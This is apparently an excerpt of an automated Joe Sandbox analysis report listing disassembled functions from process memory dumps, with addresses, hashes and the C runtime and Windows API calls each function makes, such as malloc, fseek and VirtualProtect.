Opcode ID: 2f5209122fb759edfdff3039bf8fb0b2a88c46c8169eecef4dfdbe4bc70bf479
Instruction ID: 66b468ea171d22162a72cd88297f162dee45b89eb52bd5a3913a2e198b50426f
Opcode Fuzzy Hash: 2f5209122fb759edfdff3039bf8fb0b2a88c46c8169eecef4dfdbe4bc70bf479
Instruction Fuzzy Hash: 0B61F530A18F094AE768562C584E33973C9E796724F64032DE477C32D7EF7E989242D2

Function 000002B66A0CAB80 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0CAAD7

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

_invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CAAE2
_getstream.LIBCMT ref: 000002B66A0CAB02
_errno.LIBCMT ref: 000002B66A0CAB14
_errno.LIBCMT ref: 000002B66A0CAB26
_openfile.LIBCMT ref: 000002B66A0CAB54

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errno$_getptd_noexit_getstream_invalid_parameter_noinfo_openfile
String ID:
API String ID: 1547050394-0
Opcode ID: da30a4fbe809b8ca67a8f5160054303a7165575a42b330f88a57f9d26e578010
Instruction ID: 06668c47ea772d98ace46a59bdf4443e938c56236c21695c106e08aeb2b90303
Opcode Fuzzy Hash: da30a4fbe809b8ca67a8f5160054303a7165575a42b330f88a57f9d26e578010
Instruction Fuzzy Hash: EB21A130E18A4D4FF794AB38440D36A77DAEB99318F54056AA45AC3293DB7DCCC187A2

Function 000002B66A0B3170 Relevance: 8.9, APIs: 7, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000002B66A0B31BD

Part of subcall function 000002B66A0C97DC: _FF_MSGBANNER.LIBCMT ref: 000002B66A0C980C
Part of subcall function 000002B66A0C97DC: _NMSG_WRITE.LIBCMT ref: 000002B66A0C9816
Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C984A
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9855
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9860

malloc.LIBCMT ref: 000002B66A0B31C8

Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C9870
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9875

free.LIBCMT ref: 000002B66A0B32AF
free.LIBCMT ref: 000002B66A0B32B7
free.LIBCMT ref: 000002B66A0B32BF
free.LIBCMT ref: 000002B66A0B32CB
free.LIBCMT ref: 000002B66A0B32D8

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 8f27b9b8814d88eefaf0c30430a09405aaeaa2f49b6202366e2d2d11d21f24eb
Instruction ID: b1a80ae7571c4a417b5eb6f4cd9fbd43a46c0886dfac1d374735bd89b916e86b
Opcode Fuzzy Hash: 8f27b9b8814d88eefaf0c30430a09405aaeaa2f49b6202366e2d2d11d21f24eb
Instruction Fuzzy Hash: 1F51D830B18F195BEB599B28944D77AB7D4FB49308F50022DD86BC3646DF29E8828686

Function 000002B66A0BBA74 Relevance: 7.8, APIs: 6, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000002B66A0C316C: malloc.LIBCMT ref: 000002B66A0C3188

malloc.LIBCMT ref: 000002B66A0BBB1E

Part of subcall function 000002B66A0C97DC: _FF_MSGBANNER.LIBCMT ref: 000002B66A0C980C
Part of subcall function 000002B66A0C97DC: _NMSG_WRITE.LIBCMT ref: 000002B66A0C9816
Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C984A
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9855
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9860

Part of subcall function 000002B66A0C91B4: malloc.LIBCMT ref: 000002B66A0C9204

Part of subcall function 000002B66A0C91B4: realloc.LIBCMT ref: 000002B66A0C9213

malloc.LIBCMT ref: 000002B66A0BBBED
_snprintf.LIBCMT ref: 000002B66A0BBC6B
_snprintf.LIBCMT ref: 000002B66A0BBC93
_snprintf.LIBCMT ref: 000002B66A0BBCBA
free.LIBCMT ref: 000002B66A0BBE28

Part of subcall function 000002B66A0C7898: malloc.LIBCMT ref: 000002B66A0C78CC
Part of subcall function 000002B66A0C7898: free.LIBCMT ref: 000002B66A0C7A83

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: malloc$_snprintf$_errnofree$_callnewhrealloc
String ID:
API String ID: 2667508507-0
Opcode ID: 69ae3169a039df52091071606f3a1e8249e5672861753253b765f1f3427f6835
Instruction ID: 1d65e65a2bfb8e038d97e6cdae92d590081258fe00617910f7f5d7e7e1d48a12
Opcode Fuzzy Hash: 69ae3169a039df52091071606f3a1e8249e5672861753253b765f1f3427f6835
Instruction Fuzzy Hash: 3AB18130A146044BEB58BB64949E7FD73D9EB94308F404529A86BC32D3EF3ED9858792

Function 00007FF7AD043050 Relevance: 7.8, APIs: 5, Instructions: 299COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7AD0431D1
fputc.MSVCRT ref: 00007FF7AD043302

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: fputcmemset
String ID:
API String ID: 947785774-0
Opcode ID: 555f8774b8e81171a088c9ae3eef83ff67c5074706860f87334bd2843081a2d8
Instruction ID: 36b25bbdd042c60629a608f62e2cd0d7cbe922a95d716c3ae3240850fe2cd8a9
Opcode Fuzzy Hash: 555f8774b8e81171a088c9ae3eef83ff67c5074706860f87334bd2843081a2d8
Instruction Fuzzy Hash: 8EB13AF2E6E14186F725AA35C009B3BA690EF40764F96A231CE1D077E5EA3CF851C760

Function 000002B66A0BF14C Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 000002B66A0C316C: malloc.LIBCMT ref: 000002B66A0C3188

Part of subcall function 000002B66A0CAB80: _errno.LIBCMT ref: 000002B66A0CAAD7
Part of subcall function 000002B66A0CAB80: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CAAE2

fseek.LIBCMT ref: 000002B66A0BF1E8

Part of subcall function 000002B66A0CB404: _errno.LIBCMT ref: 000002B66A0CB42C
Part of subcall function 000002B66A0CB404: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CB437

_ftelli64.LIBCMT ref: 000002B66A0BF1F0

Part of subcall function 000002B66A0CB478: _errno.LIBCMT ref: 000002B66A0CB496
Part of subcall function 000002B66A0CB478: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CB4A1

fseek.LIBCMT ref: 000002B66A0BF200

Part of subcall function 000002B66A0CB404: _fseek_nolock.LIBCMT ref: 000002B66A0CB455

malloc.LIBCMT ref: 000002B66A0BF240

Part of subcall function 000002B66A0C97DC: _FF_MSGBANNER.LIBCMT ref: 000002B66A0C980C
Part of subcall function 000002B66A0C97DC: _NMSG_WRITE.LIBCMT ref: 000002B66A0C9816
Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C984A
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9855
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9860

fclose.LIBCMT ref: 000002B66A0BF2FD

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$fseekmalloc$_callnewh_fseek_nolock_ftelli64fclose
String ID:
API String ID: 2887643383-0
Opcode ID: ccde22759ef2e3f78cce72c2939bc019c04d076555ce75b1dc7219c434147f26
Instruction ID: e60b7c4e582efe70e7c11b3cc16fad938619d9d8dc34275e9962a6e45c6f1b0e
Opcode Fuzzy Hash: ccde22759ef2e3f78cce72c2939bc019c04d076555ce75b1dc7219c434147f26
Instruction Fuzzy Hash: 68518731A1CA084FE748EB2C945D7B9B3D5EB89304F50426DE45BC32D7DF3D99468681

Function 000002B66A0D46B4 Relevance: 7.7, APIs: 5, Instructions: 201COMMON

Download Yara Rule

APIs

_mtinitlocknum.LIBCMT ref: 000002B66A0D46E1

Part of subcall function 000002B66A0CE1B8: _FF_MSGBANNER.LIBCMT ref: 000002B66A0CE1D5
Part of subcall function 000002B66A0CE1B8: _NMSG_WRITE.LIBCMT ref: 000002B66A0CE1DF

_lock.LIBCMT ref: 000002B66A0D46F4
_lock.LIBCMT ref: 000002B66A0D474F
_calloc_crt.LIBCMT ref: 000002B66A0D4806

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _lock$_calloc_crt_mtinitlocknum
String ID:
API String ID: 3962633935-0
Opcode ID: 8dddd40cba0b96657f5797606e885a34095d890d14caea9c99b50cb58fb4cd36
Instruction ID: acdf7ada1cde3b0ab8ae1b97c2d10024ff63ff7c42cff50a60044c526fdd894e
Opcode Fuzzy Hash: 8dddd40cba0b96657f5797606e885a34095d890d14caea9c99b50cb58fb4cd36
Instruction Fuzzy Hash: 62513871828B098FE714AF18C88D365B3D4FB55318F11025DE85AC72A2D77ED882CBC2

Function 000002B66A0B44F0 Relevance: 7.7, APIs: 6, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000002B66A0B453A

Part of subcall function 000002B66A0C97DC: _FF_MSGBANNER.LIBCMT ref: 000002B66A0C980C
Part of subcall function 000002B66A0C97DC: _NMSG_WRITE.LIBCMT ref: 000002B66A0C9816
Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C984A
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9855
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9860

malloc.LIBCMT ref: 000002B66A0B4545

Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C9870
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9875

free.LIBCMT ref: 000002B66A0B462C
free.LIBCMT ref: 000002B66A0B4634
free.LIBCMT ref: 000002B66A0B4640
free.LIBCMT ref: 000002B66A0B464D

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: a45fc30acfc366bf9b051932b8caba1d9495d79fe219d51417d01d77f5c5bb34
Instruction ID: 922cc1a855ccdfe16970a3cfb399eee5921d6b205e1e1d2e09a3eb5689950f06
Opcode Fuzzy Hash: a45fc30acfc366bf9b051932b8caba1d9495d79fe219d51417d01d77f5c5bb34
Instruction Fuzzy Hash: 8C413830718B0D1BEB289A2C494D77A33D8EB95359F14022DD49BC3283EE2FD9474392

Function 000002B66A0CC654 Relevance: 7.6, APIs: 5, Instructions: 149COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 000002B66A0CC671

Part of subcall function 000002B66A0CFDB4: _errno.LIBCMT ref: 000002B66A0CFDBD
Part of subcall function 000002B66A0CFDB4: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CFDC8

_errno.LIBCMT ref: 000002B66A0CC681

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

_errno.LIBCMT ref: 000002B66A0CC69D
_isatty.LIBCMT ref: 000002B66A0CC6FE
_getbuf.LIBCMT ref: 000002B66A0CC70A

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errno$_fileno_getbuf_getptd_noexit_invalid_parameter_noinfo_isatty
String ID:
API String ID: 304646821-0
Opcode ID: aa8b06c3288e952ecbdf324b898e62218ab50926b5a5fcb56ef63d4126ab63d5
Instruction ID: d9de9c7a6053cf11620b10abf92c9057878d5466385b6ea5027c88602f3ee021
Opcode Fuzzy Hash: aa8b06c3288e952ecbdf324b898e62218ab50926b5a5fcb56ef63d4126ab63d5
Instruction Fuzzy Hash: C551A130914A184FEB58AF28C4DD76577E4EB58318F140699D427CB2D6D73EE8C1CB91

Function 000002B66A0C5DE4 Relevance: 7.6, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000002B66A0C5E13

Part of subcall function 000002B66A0C97DC: _FF_MSGBANNER.LIBCMT ref: 000002B66A0C980C
Part of subcall function 000002B66A0C97DC: _NMSG_WRITE.LIBCMT ref: 000002B66A0C9816
Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C984A
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9855
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9860

_snprintf.LIBCMT ref: 000002B66A0C5E2B

Part of subcall function 000002B66A0C9B9C: _errno.LIBCMT ref: 000002B66A0C9BD3
Part of subcall function 000002B66A0C9B9C: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0C9BDE

free.LIBCMT ref: 000002B66A0C5E42

Part of subcall function 000002B66A0C979C: RtlFreeHeap.NTDLL ref: 000002B66A0C97B2
Part of subcall function 000002B66A0C979C: _errno.LIBCMT ref: 000002B66A0C97BC

malloc.LIBCMT ref: 000002B66A0C5E92
_snprintf.LIBCMT ref: 000002B66A0C5EAA
free.LIBCMT ref: 000002B66A0C5ED2

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errno$_snprintffreemalloc$FreeHeap_callnewh_invalid_parameter_noinfo
String ID:
API String ID: 343393124-0
Opcode ID: ec25d155d64a04f5a4d69300301c4abe570cf977cc4f299410c5493cce9685bc
Instruction ID: fffce9dac35dd527d9eb02778cfe0b4b9552c5c02d96214a258241029fdf18b7
Opcode Fuzzy Hash: ec25d155d64a04f5a4d69300301c4abe570cf977cc4f299410c5493cce9685bc
Instruction Fuzzy Hash: 0A41933471C9480FEA5CAB2C682E7B477D6E789314F448259D09FC3297DA3EAC828795

Function 000002B66A0BE024 Relevance: 7.6, APIs: 5, Instructions: 90fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000002B66A0BE045

Part of subcall function 000002B66A0C97DC: _FF_MSGBANNER.LIBCMT ref: 000002B66A0C980C
Part of subcall function 000002B66A0C97DC: _NMSG_WRITE.LIBCMT ref: 000002B66A0C9816
Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C984A
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9855
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9860

free.LIBCMT ref: 000002B66A0BE080
fwrite.LIBCMT ref: 000002B66A0BE0C1
fclose.LIBCMT ref: 000002B66A0BE0C9
free.LIBCMT ref: 000002B66A0BE0D6

Part of subcall function 000002B66A0C979C: RtlFreeHeap.NTDLL ref: 000002B66A0C97B2
Part of subcall function 000002B66A0C979C: _errno.LIBCMT ref: 000002B66A0C97BC

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errno$free$FreeHeap_callnewhfclosefwritemalloc
String ID:
API String ID: 415550720-0
Opcode ID: 1ec553c66c746d099e6808a9a78dd35a746a31c899afe7e7e07bb86eb44d6d70
Instruction ID: 0de9ef82631d1e0cf7a694c4283b51d1f27e86ee57ef4d8262cdb809f395451e
Opcode Fuzzy Hash: 1ec553c66c746d099e6808a9a78dd35a746a31c899afe7e7e07bb86eb44d6d70
Instruction Fuzzy Hash: 37218620A28A084BEB44E72C445D7AEB3D5FB8C358F54066DB45BC32C2DF3E99814792

Function 000002B66A0D4958 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0D4969

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

__doserrno.LIBCMT ref: 000002B66A0D4961

Part of subcall function 000002B66A0CBF60: _getptd_noexit.LIBCMT ref: 000002B66A0CBF64

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno_errno
String ID:
API String ID: 2964073243-0
Opcode ID: 1a9f3c273fde667eee1e28420fd08ba4f6fdad69626380ca01bd7ea3b71185bb
Instruction ID: 1f82f8b5a21feb0d430ebc5ee8ebcc0e2c4f3536b967dda637751711cc2e895c
Opcode Fuzzy Hash: 1a9f3c273fde667eee1e28420fd08ba4f6fdad69626380ca01bd7ea3b71185bb
Instruction Fuzzy Hash: 3F01D12192080D5FE619BB75C89E3A8739CEB1232DF548248A426C62EBC77F18C1C622

Function 00007FF7AD041F00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 231memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00007FF7AD098110,00007FF7AD098118,00000001,?,?,?,?,00007FF8C6F6ADA0,00007FF7AD041228,?,?,?,00007FF7AD0413E6), ref: 00007FF7AD0420FD

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF7AD042167
Unknown pseudo relocation protocol version %d., xrefs: 00007FF7AD04224E
Unknown pseudo relocation bit size %d., xrefs: 00007FF7AD042242

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: a0f94685ef5bd4ef61378bbb0e5bcf492c6639d8b0de48b95d17e77c9d1cee60
Instruction ID: 267817c7910178d1f61438fc133c9cc13678469aa4fa273834c025e7a394ce89
Opcode Fuzzy Hash: a0f94685ef5bd4ef61378bbb0e5bcf492c6639d8b0de48b95d17e77c9d1cee60
Instruction Fuzzy Hash: 2991A6A6F4F51289EA106B219508B7BE291FF65760FC64231DE1D137F5FE3CE8628221

Function 000002B66A0C9698 Relevance: 6.3, APIs: 5, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000002B66A0C96BB

Part of subcall function 000002B66A0C97DC: _FF_MSGBANNER.LIBCMT ref: 000002B66A0C980C
Part of subcall function 000002B66A0C97DC: _NMSG_WRITE.LIBCMT ref: 000002B66A0C9816
Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C984A
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9855
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9860

malloc.LIBCMT ref: 000002B66A0C96C9

Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C9870
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9875

malloc.LIBCMT ref: 000002B66A0C96EB
_snprintf.LIBCMT ref: 000002B66A0C9706

Part of subcall function 000002B66A0C9B9C: _errno.LIBCMT ref: 000002B66A0C9BD3
Part of subcall function 000002B66A0C9B9C: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0C9BDE

malloc.LIBCMT ref: 000002B66A0C9721

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errnomalloc$_callnewh$_invalid_parameter_noinfo_snprintf
String ID:
API String ID: 2026495703-0
Opcode ID: e42e8bb37c17fb866d7ab9e581f67a34594f586a0dca43f1649d0ab14eded3ec
Instruction ID: 18c6ecf57deeee901e7dd96f4c578d2f8d4ffa8e6a510d8a960b891ac4e7f746
Opcode Fuzzy Hash: e42e8bb37c17fb866d7ab9e581f67a34594f586a0dca43f1649d0ab14eded3ec
Instruction Fuzzy Hash: 8F118130A1CF144FEBA8EF6CA08975677D1FB8C314F14465EE05AC3296DA389C8247D1

Function 00007FF7AD043500 Relevance: 6.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71253800d1795a9d3461c9a2abaf0dff8d7b3023a836dbffc4b560ae3a195706
Instruction ID: 04caa575f505ee9c317314b701c5336d110947318323971cec20fc38604bd84c
Opcode Fuzzy Hash: 71253800d1795a9d3461c9a2abaf0dff8d7b3023a836dbffc4b560ae3a195706
Instruction Fuzzy Hash: 1A91AAF2A6E25346E7659F25C108B3BAA91EB04B94F96D134CE0C573D5EB3CE8118760

Function 000002B66A0CAB8C Relevance: 6.2, APIs: 4, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0CABC4

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

_invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CABCF
_flush.LIBCMT ref: 000002B66A0CAC81
_fileno.LIBCMT ref: 000002B66A0CACA2

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errno_fileno_flush_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 634798775-0
Opcode ID: 0aeef574da07145cfdd41d53376bf3e81e49c591176030f61e29d107625eec6d
Instruction ID: cb100d0fa528fd012fe50063a59d18c5de2f56f31017ce3120ea937bb736e58e
Opcode Fuzzy Hash: 0aeef574da07145cfdd41d53376bf3e81e49c591176030f61e29d107625eec6d
Instruction Fuzzy Hash: EA51F830A18F090BE6685A6D948D33573D6E754319F34022DD46BC31D7EB7EDC928692

Function 000002B66A0B00D0 Relevance: 6.1, APIs: 4, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

clock.LIBCMT ref: 000002B66A0B0117
clock.LIBCMT ref: 000002B66A0B0124
clock.LIBCMT ref: 000002B66A0B012D
clock.LIBCMT ref: 000002B66A0B013A

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: clock
String ID:
API String ID: 3195780754-0
Opcode ID: 7862a7d32f1c9ad9b973ef17a076326fdf486dc74a254423f992730849a2d722
Instruction ID: 98a9d0eb30b9e9506ae4e36c9b7405aafeecb00e40e5acd809ab3023bddda83c
Opcode Fuzzy Hash: 7862a7d32f1c9ad9b973ef17a076326fdf486dc74a254423f992730849a2d722
Instruction Fuzzy Hash: 0721F63280C70C4EE76CBDA8564E226B7C8D785354F150B2DE9EA83152E75B9C8286D6

Function 000002B66A0D9A98 Relevance: 6.1, APIs: 4, Instructions: 84stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000002B66A0D9ABC

Part of subcall function 000002B66A0CC7E0: _getptd.LIBCMT ref: 000002B66A0CC7F6
Part of subcall function 000002B66A0CC7E0: __updatetlocinfo.LIBCMT ref: 000002B66A0CC82B
Part of subcall function 000002B66A0CC7E0: __updatetmbcinfo.LIBCMT ref: 000002B66A0CC852

_errno.LIBCMT ref: 000002B66A0D9AC8

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

_invalid_parameter_noinfo.LIBCMT ref: 000002B66A0D9AD3
strchr.LIBCMT ref: 000002B66A0D9AE9

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: 6fcaa51569f33512e2090195287e243e2f4399f94586e7a5485698e02a016b7c
Instruction ID: 3a801d6313a3891bb68b12db2ad2893af1d4adb1961711ab6569276376476b50
Opcode Fuzzy Hash: 6fcaa51569f33512e2090195287e243e2f4399f94586e7a5485698e02a016b7c
Instruction Fuzzy Hash: 32213A22D186A84EE7A4F72840EC33977C4E7453ADF450A5DE0A6C75C1DB6D88C1C291

Function 00007FF7AD047B90 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF7AD047BEA
MultiByteToWideChar.KERNEL32 ref: 00007FF7AD047C2A

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
